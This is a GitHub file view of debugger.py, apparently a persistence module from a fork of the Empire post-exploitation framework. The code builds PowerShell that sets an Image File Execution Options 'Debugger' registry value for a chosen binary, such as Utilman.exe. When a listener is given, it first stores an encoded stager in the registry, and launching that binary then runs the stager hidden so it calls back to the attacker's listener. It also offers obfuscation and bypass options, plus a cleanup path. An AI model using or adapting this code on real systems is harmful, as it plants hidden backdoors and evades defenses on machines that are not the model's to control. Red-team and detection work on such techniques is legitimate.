forked from EmpireProject/Empire
-
-
Notifications
You must be signed in to change notification settings - Fork 585
/
Copy pathdebugger.py
113 lines (96 loc) · 4.49 KB
/
debugger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
class Module:
@staticmethod
def generate(
main_menu: MainMenu,
module: EmpireModule,
params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
# management options
cleanup = params["Cleanup"]
trigger_binary = params["TriggerBinary"]
listener_name = params["Listener"]
target_binary = params["TargetBinary"]
# storage options
reg_path = params["RegPath"]
# staging options
launcher_obfuscate = params["Obfuscate"].lower() == "true"
launcher_obfuscate_command = params["ObfuscateCommand"]
status_msg = ""
locationString = ""
if cleanup.lower() == "true":
# the registry command to disable the debugger for Utilman.exe
script = f"Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\{target_binary}';'{target_binary} debugger removed.'"
return main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
obfuscation_command=obfuscation_command,
)
if listener_name != "":
# if there's a listener specified, generate a stager and store it
if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
# generate the PowerShell one-liner
launcher = main_menu.stagers.generate_launcher(
listenerName=listener_name,
language="powershell",
obfuscate=launcher_obfuscate,
obfuscation_command=launcher_obfuscate_command,
bypasses=params["Bypasses"],
)
enc_script = launcher.split(" ")[-1]
# statusMsg += "using listener " + listenerName
path = "\\".join(reg_path.split("\\")[0:-1])
name = reg_path.split("\\")[-1]
status_msg += " stored in " + reg_path + "."
script = "$RegPath = '" + reg_path + "';"
script += "$parts = $RegPath.split('\\');"
script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
script += "$name = $parts[-1];"
script += (
"$null=Set-ItemProperty -Force -Path $path -Name $name -Value "
+ enc_script
+ ";"
)
# note where the script is stored
locationString = "$((gp " + path + " " + name + ")." + name + ")"
script += (
"$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
+ target_binary
+ "';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
+ target_binary
+ '\' -Name Debugger -Value \'"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" -c "$x='
+ locationString
+ ';start -Win Hidden -A \\"-enc $x\\" powershell";exit;\';\''
+ target_binary
+ " debugger set to trigger stager for listener "
+ listener_name
+ "'"
)
else:
# the registry command to set the debugger for the specified binary to be the binary path specified
script = (
"$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
+ target_binary
+ "';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
+ target_binary
+ "' -Name Debugger -Value '"
+ trigger_binary
+ "';'"
+ target_binary
+ " debugger set to "
+ trigger_binary
+ "'"
)
return main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
obfuscation_command=obfuscation_command,
)